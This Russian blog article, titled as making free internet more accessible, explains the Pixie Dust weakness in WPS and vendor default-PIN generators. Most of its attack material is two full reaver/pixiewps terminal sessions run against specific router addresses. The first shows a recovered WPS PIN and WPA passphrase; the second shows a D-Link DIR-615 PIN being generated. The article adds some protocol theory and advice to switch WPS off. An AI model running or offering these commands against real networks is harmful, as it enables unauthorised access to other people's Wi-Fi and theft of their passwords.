sitelogo

By

Уязвимость Pixie Dust — халявный интернет стал ещё доступнее

Как известно, на 2015-й год в протоколе WPS (WiFi Protected Setup), который используется практически на любом бытовом роутере, было найдено изрядное количество уязвимостей. Основная, и давно известная уязвимость, связанная с возможностью перебора 11000 комбинаций PIN кода в режиме Online, касалась в основном слабости самой идеи протокола и его теоретической базы. Но безопасность той или иной системы складывается не только из сильной теории, но даже в большей степени из реализации протокола.

Проблему с перебором можно частично решить с помощью реализации блокировки ввода на некоторое время при исчерпании попыток ввода. А вот вновь найденная уязвимость Pixie Dust применима только к некоторым моделям роутеров особо отличившихся производителей, то есть применима к конкретной реализации. Интересно, что WPS в основном реализован на аппаратном уровне, и закрыть уязвимость перепрошивкой не получится — нужно либо выключать WPS на корню (что и так следовало бы сделать), либо выбрасывать старое оборудование.

Так как уязвимость была обнаружена как минимум 5 месяцев назад, и на русском уже есть некоторое количество статей с восторженными отзывами о новой версии reaver t6x, я постараюсь раскрыть тему более подробно с теоретической стороны. Вообще, стоит выложить официальную спецификацию WPS, чтобы было на что ориентироваться:

Wi Fi%20Protected%20Setup%20Specification%201.0h
Скачано: 105, размер: 0, дата: 03.Апр.2017

В целом, WPS с авторизацией по пин коду состоит из сообщений EAPOL START\Identity и M1…M8, отсылаемых между клиентом и роутером туда-обратно. К сожалению, тут есть какая-то путаница между официальной спецификацией и reaver, где вместо EAP-Start от роутера приходит сообщение, названное M1. Поэтому в reaver объявлены всего семь сообщений M1…M7. Мы пожалуй лучше будем следовать спецификации.

Для атаки Pixie Dust интересно сообщение M2 (M3 в reaver), содержащее поля N1 и N2, где N2 — это случайно сгенерированное роутером большое число, на основе которого работает криптография. Суть атаки состоит в том, чтобы вычислить Seed (задающее значение ГСЧ), которое используется для генерации больших чисел, и получить возможноть сгенерировать остальные поля (AuthKey, E-S1, E-S2) без помощи роутера. Таким образом, отсылать сообщения M3…M8 не нужно вообще, и это никак не вызовет блокировку роутера по количеству неверно введенных пинов. Владелец роутера на этом этапе никак не узнает, что его атакуют. Посмотрим на работу всего этого в действии:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
:~$ reaver -vv -i rtl8187mon -K 1 -b 04:A1:51:60:0F:DC -c 1
 
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg
 
[+] Switching rtl8187mon to channel 1
[+] Waiting for beacon from 04:A1:51:60:0F:DC
[+] Associated with 04:A1:51:60:0F:DC (ESSID: xxxxx)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Running pixiewps with the information, wait ...
[Pixie-Dust]  
[Pixie-Dust]   Pixiewps 1.2
[Pixie-Dust]  
[Pixie-Dust]   [*] PRNG Seed:  1451428851 (Tue Dec 29 22:40:51 2015)
[Pixie-Dust]   [*] Mode:       3 (RTL819x)
[Pixie-Dust]   [*] PSK1:       b1:24:e4:51:01:69:ac:a5:53:cb:c2:95:16:3b:2b:af
[Pixie-Dust]   [*] PSK2:       3d:25:56:e6:71:e0:01:a4:fe:34:c0:56:32:01:35:db
[Pixie-Dust]   [*] E-S1:       16:36:4f:94:5c:7b:aa:bb:02:56:7d:55:1c:7a:e3:ff
[Pixie-Dust]   [*] E-S2:       16:36:4f:94:5c:7b:aa:bb:02:56:7d:55:1c:7a:e3:ff
[Pixie-Dust]   [+] WPS pin:    20188290
[Pixie-Dust]
[+] Running reaver with the correct pin, wait ...
[+] Cmd : reaver -i rtl8187mon -b 04:A1:51:60:0F:DC -c 1 -s y -vv -p 20188290
[Reaver Test] [+] BSSID: 04:A1:51:60:0F:DC
[Reaver Test] [+] Channel: 1
[Reaver Test] [+] WPS PIN: '20188290'
[Reaver Test] [+] WPA PSK: 'jdejed343@'

Но это ещё не всё. В протокол WPS заложена функциональность по отправке информации о производителе, модели, серийном номере радиомодуля точки доступа в сообщениях Identity и M2. На основе которых… производителем автоматически генерируется WPS PIN. Зная алгоритм генератора, можно спокойно его сгенерировать локально на основе полученных данных. То есть, это ещё один способ, с помощью которого роутеры «палят» свой код почти что в открытом виде. Кроме того, информация о производителе радиомодуля точки доступа сама по себе даёт преимущество хакеру. В reaver t6x имеется функциональность для эксплуатации этой уязвимости, а именно три генератора PIN кодов (D-Link, Zyxel, Belkin), а также возможность вывода информации о точке доступа на экран. Пример вывода информации (с правильно подобранным пином за секунды!) ниже:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
:~$ reaver -vv -i rtl8187mon -W 2 -b 84:C9:B2:57:8B:0D -c 6
 
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg
 
[+] Switching rtl8187mon to channel 6
[?] Restore previous session for 84:C9:B2:57:8B:0D? [n/Y] 
[+] p1_index set to 0
[+] p2_index set to 1
[+] Restored previous session
[+] Waiting for beacon from 84:C9:B2:57:8B:0D
[+] Associated with 84:C9:B2:57:8B:0D (ESSID: ххххх)
[+] Starting Cracking Session. Pin count: 10001, Max pin attempts: 11000
[+] Trying pin 12340002.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] WPS Manufacturer: D-Link
[P] WPS Model Name: D-Link Router
[P] WPS Model Number: DIR-615
[P] Access Point Serial Number: none
[Pin Gen] D-Link Default Pin Generator by devttys0 team
[Pin Gen] Pin Generated : 90874482
[Pin Gen] Pin Generated (+1): 21638190
[Pin Gen] Pin Generated (-1): 62053853

Где правильным пином оказался «+1». Так что владельцам роутеров DIR-615 с официальной прошивкой стоит еще раз подумать, стоит ли им держать WPS включенным.



Добавить комментарий

Ваш e-mail не будет опубликован.